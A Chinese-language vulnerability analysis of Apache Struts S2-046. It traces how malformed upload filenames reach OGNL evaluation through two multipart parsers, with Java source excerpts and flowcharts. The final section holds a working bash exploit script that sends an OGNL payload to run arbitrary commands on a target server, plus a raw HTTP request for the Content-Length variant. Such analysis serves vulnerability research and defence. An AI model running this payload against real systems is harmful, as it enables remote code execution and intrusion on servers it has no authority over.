s2-046 漏洞分析

影响版本:

本页目录
  1. 0x01 踩坑
  2. 0x02 分析
  3. 跟进分析
  4. 流程梳理
  5. 0x03 利用条件
  6. 0x04 利用方式
  7. 参考资料

影响版本:

Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10

漏洞产生原因主要在于使用Jakarta插件处理文件上传操作,对content-length以及filename处理

【占坑】分析基于2.3.30,貌似高版本触发点不太一样,原理大致相同

0x01 踩坑

按照参考资料1部署就可以了

0x02 分析

跟进分析

这里看了很多分析,最后感觉还是按处理类来辨析更好

i. JakartaMultiPartRequest

主要是利用空字节解析错误抛出错误,在对错误信息本地化时候造成了命令执行

  1. 项目配置

    P.S. 此配置其实可以不用声明,因为default.properties中默认值即为jakarta

    <constant name="struts.multipart.parser" value="jakarta" />
  2. 对应处理类

    <bean type="org.apache.struts2.dispatcher.multipart.MultiPartRequest" name="jakarta" class="org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest" scope="default"/>
  3. 进入parse

    public void parse(HttpServletRequest request, String saveDir) throws IOException {
    String errorMessage;
    try {
    this.setLocale(request);
    this.processUpload(request, saveDir);
    } catch (SizeLimitExceededException var5) {
    ...
    } catch (Exception var6) {
    if (LOG.isWarnEnabled()) {
    LOG.warn("Unable to parse request", var6, new String[0]);
    }
    errorMessage = this.buildErrorMessage(var6, new Object[0]);
    if (!this.errors.contains(errorMessage)) {
    this.errors.add(errorMessage);
    }
    }
    }
  4. 进入processUpload,这里判断是否为文件上传表单,如果是进入processFilefield进行处理

    protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException {
    Iterator i$ = this.parseRequest(request, saveDir).iterator();
    while(i$.hasNext()) {
    FileItem item = (FileItem)i$.next();
    if (LOG.isDebugEnabled()) {
    LOG.debug("Found item " + item.getFieldName(), new String[0]);
    }
    if (item.isFormField()) {
    this.processNormalFormField(item, request.getCharacterEncoding());
    } else {
    this.processFileField(item);
    }
    }
    }
  5. 没提前下断点,可以看到已经抛出异常了,跟进org.apache.commons.fileupload.disk.DiskFileItem#getName

    s2-046 漏洞分析 · 图示

    public String getName() {
    return Streams.checkFileName(this.fileName);
    }
  6. 再跟进checkFileName,这里会判断是否存在空字节,有的话就定位到空字节并抛出错误信息

    s2-046 漏洞分析 · 图示

  7. 跟进后,会回到parse中获取异常,进入buildErrorMessage

    s2-046 漏洞分析 · 图示

  8. 在buildErrorMessage中看到了熟悉的本地化,完工~

    protected String buildErrorMessage(Throwable e, Object[] args) {
    String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
    if (LOG.isDebugEnabled()) {
    LOG.debug("Preparing error message for key: [#0]", new String[]{errorKey});
    }
    return LocalizedTextUtil.findText(this.getClass(), errorKey, this.defaultLocale, e.getMessage(), args);
    }

ii. JakartaStreamMultiPartRequest

主要是利用超大的content-type进入错误处理逻辑,在处理错误信息本地化造成命令执行

  1. 注意项目配置中

    <constant name="struts.multipart.parser" value="jakarta-stream" />
    <!-- 可选配置 -->
    <constant name="struts.multipart.maxSize" value="1" />
  2. 到core下的struts-default.xml中可见

    <bean type="org.apache.struts2.dispatcher.multipart.MultiPartRequest" name="jakarta-stream" class="org.apache.struts2.dispatcher.multipart.JakartaStreamMultiPartRequest" scope="default"/>
  3. 通过parse开始进行解析

    public void parse(HttpServletRequest request, String saveDir) throws IOException {
    try {
    this.setLocale(request);
    this.processUpload(request, saveDir);
    } catch (Exception var5) {
    ...
    }
    }
  4. 关键代码,这里会通过isRequestSizePermitted判断文件大小,如果文件过大就会调用addFileSkippedError函数(注意:如果payload中有空字节,则会在itemStream.getName()时候抛出错误,则会和上面利用方法一样)

    private void processUpload(HttpServletRequest request, String saveDir) throws Exception {
    if (ServletFileUpload.isMultipartContent(request)) {
    boolean requestSizePermitted = this.isRequestSizePermitted(request);
    ...
    while(i.hasNext()) {
    try {
    FileItemStream itemStream = i.next();
    if (itemStream.isFormField()) {
    ...
    } else if (!requestSizePermitted) {
    this.addFileSkippedError(itemStream.getName(), request);
    LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", new Object[]{itemStream.getName(), this.maxSize});
    } else {
    ...
    }
    } catch (IOException var7) {
    ...
    }
    }
    }
    }
  5. 跟入isRequestSizePermitted函数,只要content-length大于maxSize即返回false进入addFileSkippedError

    private boolean isRequestSizePermitted(HttpServletRequest request) {
    if (this.maxSize != -1L && request != null) {
    return (long)request.getContentLength() < this.maxSize;
    } else {
    return true;
    }
    }

    maxSize默认被定义为2097152byte,即2M(此配置可更改,所以payload中content-length最好写大一点)

    s2-046 漏洞分析 · 图示

  6. 回到processUpload进入addFileSkippedError,可见直接把Content-Disposition中的filename传入

    s2-046 漏洞分析 · 图示

  7. 跟进,可以看到对报错内容进行本地化处理

    s2-046 漏洞分析 · 图示

流程梳理

  1. jakarta

    st=>start: 传入之后通过struts-default.xml进入org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest
    a=>operation: 进入parse进行数据包解析,注意这里捕获异常
    b=>operation: 进入processUpload对内容进行解析,使用processFileField对上传文件表单进行分析
    c=>operation: 在getName时由于文件名含有00空字节导致抛出一个异常,异常内容为文件名00之前内容
    d=>operation: 回到parse中的异常捕获,使用buildErrorMessage构建异常信息
    e=>operation: 使用本地化LocalizedTextUtil.findText()对信息进行处理
    en=>end: 一些列操作后执行ognl
    st->a->b->c->d->e->en
  2. jakarta-stream

    st=>start: 传入之后通过struts-default.xml
    t=>operation: 进入org.apache.struts2.dispatcher.multipart.JakartaStreamMultiPartRequest
    a=>operation: 进入parse进行数据包解析,注意这里也有一个捕获异常
    b=>operation: 进入processUpload对内容进行解析,首先判断content-length是否过长
    c=>operation: 过长则进入addFileSkippedError进行错误信息构建,进入之前获取上传文件名
    d=>condition: 文件名是否包含00空字节
    e=>operation: 进入addFileSkippedError,调用buildErrorMessage
    f=>operation: 回到parse捕获异常(类似jakarta利用)
    g=>operation: 调用buildErrorMessage构建异常信息
    en=>end: 一些列操作后执行ognl
    st->t->a->b->c->d
    d(yes)->f
    d(no)->e
    e->g
    f->g
    g->en

0x03 利用条件

在Struts使用Jakarta默认配置时,数据流并没有经过JakartaStreamMultiPartRequest。根据官方解释,在Struts 2.3.20以上的版本中,Struts2才提供了可选择的通过Streams实现Jakarta组件解析的方式。

  1. JakartaMultiPartRequest

    1. All 漏洞版本
    2. Payload类型:
      1. 有00空字节
  2. JakartaStreamMultiPartRequest

    1. 版本 > 2.3.20
    2. 配置 jakarta-stream
    3. 需要content-length > minSize
    4. Payload类型:
      1. 无00空字节
      2. 有00空字节 -> 触发逻辑与上面JakartaMultiPartRequest相似

0x04 利用方式

  1. 有00

    payload其实通用的,主要注意下00位置(payload为\0b实际为00 62)

#!/bin/bash
url=$1
cmd=$2
boundary="---------------------------735323031399963166993862150"
content_type="multipart/form-data; boundary=$boundary"
payload=$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")
printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload"
printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@
  1. 无00 && content-length

    主要留意这个是配合content-length用的

Content-Length: 1000000000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain
foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--
  1. 有00 && content-length

    上面改改就行了

参考资料

  1. https://github.com/pwntester/S2-046-Poc
  2. https://www.anquanke.com/post/id/85776
  3. https://cloud.tencent.com/developer/article/1144774
  4. https://xz.aliyun.com/t/221